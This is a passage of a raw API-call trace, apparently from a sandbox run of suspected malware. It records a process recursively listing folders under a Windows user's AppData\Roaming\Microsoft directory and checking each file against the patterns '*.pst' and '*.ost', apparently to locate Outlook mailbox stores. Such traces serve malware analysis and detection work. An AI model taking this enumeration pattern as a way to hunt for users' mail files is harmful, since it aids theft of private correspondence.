ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Pbk", cAlternateFileName="")) returned 1 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="Pbk" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0098.132] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0098.132] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ca0 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", pszFile="_hiddenPbk" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0098.133] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0098.133] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0098.133] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.133] PathMatchSpecW (pszFile="rasphone.pbk", pszSpec="*.pst") returned 0 [0098.133] PathMatchSpecW (pszFile="rasphone.pbk", pszSpec="*.ost") returned 0 [0098.133] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0098.133] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.133] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0098.133] FindClose (in: hFindFile=0x71e8ca0 | out: hFindFile=0x71e8ca0) returned 1 [0098.133] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Pbk", cAlternateFileName="")) returned 0 [0098.133] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.133] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0098.134] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.134] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7d39df0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7d39df0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Office", cAlternateFileName="")) returned 1 [0098.134] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.134] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Office" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office" [0098.134] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\*" [0098.134] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7d39df0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7d39df0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.135] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.135] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7d39df0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7d39df0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.135] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.135] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7d39df0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7d39df0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7d39df0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x234120, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0098.135] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.135] PathMatchSpecW (pszFile="MSO1033.acl", pszSpec="*.pst") returned 0 [0098.135] PathMatchSpecW (pszFile="MSO1033.acl", pszSpec="*.ost") returned 0 [0098.135] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb2b206a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2b206a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Recent", cAlternateFileName="")) returned 1 [0098.135] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.135] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office", pszFile="Recent" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0098.135] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0098.135] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb2b206a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2b206a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.137] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.137] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb2b206a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2b206a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.137] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.137] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a9241b0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb2b206a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2b6c960, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Database1.LNK", cAlternateFileName="DATABA~1.LNK")) returned 1 [0098.137] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.137] PathMatchSpecW (pszFile="Database1.LNK", pszSpec="*.pst") returned 0 [0098.137] PathMatchSpecW (pszFile="Database1.LNK", pszSpec="*.ost") returned 0 [0098.137] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde1e28d0, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xde1e28d0, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xde208a30, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x57b, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0098.137] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.137] PathMatchSpecW (pszFile="Global.LNK", pszSpec="*.pst") returned 0 [0098.137] PathMatchSpecW (pszFile="Global.LNK", pszSpec="*.ost") returned 0 [0098.138] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x556463d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x556463d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb2b6c960, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x230230, cFileName="index.dat", cAlternateFileName="")) returned 1 [0098.138] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.138] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.138] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.138] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x556463d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x556463d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x556463d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x372, dwReserved0=0x0, dwReserved1=0x230230, cFileName="My Documents.LNK", cAlternateFileName="MYDOCU~1.LNK")) returned 1 [0098.138] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.138] PathMatchSpecW (pszFile="My Documents.LNK", pszSpec="*.pst") returned 0 [0098.138] PathMatchSpecW (pszFile="My Documents.LNK", pszSpec="*.ost") returned 0 [0098.138] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcdf2110, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdcdf2110, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xdce18270, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0098.138] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.138] PathMatchSpecW (pszFile="Templates.LNK", pszSpec="*.pst") returned 0 [0098.138] PathMatchSpecW (pszFile="Templates.LNK", pszSpec="*.ost") returned 0 [0098.138] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcdf2110, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdcdf2110, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xdce18270, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0098.138] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.139] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55587cf0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb2b206a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2b206a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Recent", cAlternateFileName="")) returned 0 [0098.139] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.139] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8e0e19a0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="OneNote", cAlternateFileName="")) returned 1 [0098.139] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.139] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="OneNote" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote" [0098.139] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\*" [0098.139] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8e0e19a0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.140] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.140] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8e0e19a0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.140] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.140] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="16.0", cAlternateFileName="")) returned 1 [0098.140] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.140] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote", pszFile="16.0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0098.140] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*" [0098.140] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.141] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.141] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, 